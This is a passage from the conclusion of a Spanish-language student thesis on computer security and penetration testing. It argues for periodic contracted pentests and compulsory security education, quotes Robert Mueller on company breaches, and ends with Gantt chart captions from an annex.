seguridad tan única para cada sistema, realizada bajo un contrato legal con el dueño de 

los dominios afectados, es una parte del trabajo que realiza un pentester. La anticipación 

o el simulacro de un ataque real, para la posterior puesta en común con la empresa y 

resolución de los problemas encontrados, es lo más cerca que puede estar una compañía 

a la máxima seguridad, siempre y cuando se realice con cierta periodicidad. 

 

Existen muchas más amenazas de las que hemos tratado en el trabajo y con carácter 

mucho más crítico ya que, no solo afectan a la infraestructura de la empresa, sino que 

pueden llegar a afectar a los propios clientes de esta, como en el caso de un ataque XSS. 
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Creo que la concienciación sobre este tema, más que producir un efecto negativo, nos 

haría entender y valorar con un mayor respeto el hecho de lo vulnerables que son 

nuestros sistemas y lo mucho que hemos de esforzarnos en protegerlos. Tanto para los 

perfiles más programadores, como los encargados de redes e infraestructuras, como los 

propios trabajadores sin un conocimiento básico en la informática. Por ello, opino que 

asignaturas como Seguridad Informática deberían impartirse con carácter obligatorio a 

todos los alumnos ya que, a pesar de ser un campo que dedique un alto grado de 

especialización, unos conocimientos básicos sobre el tema ayudarían a evitar ciertos 

errores que pueden poner en graves aprietos a los sistemas que se manejen en un futuro. 

 

Para terminar, cito una frase del exdirector del FBI, Robert Mueller, “Solo hay dos tipos 

de empresas: las que ya fueron hackeadas y las que lo van a ser. Pero incluso esas 

categorías se están fusionando en una sola: las compañías que ya fueron hackeadas y que 

lo serán otra vez”. 
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15 Anexo 

 

 

 

 
  

Tabla 10: Diagrama de Gantt realizado mediante Gantter. Parte 2 

Tabla 9: Diagrama de Gantt realizado mediante Gantter. Parte 1 
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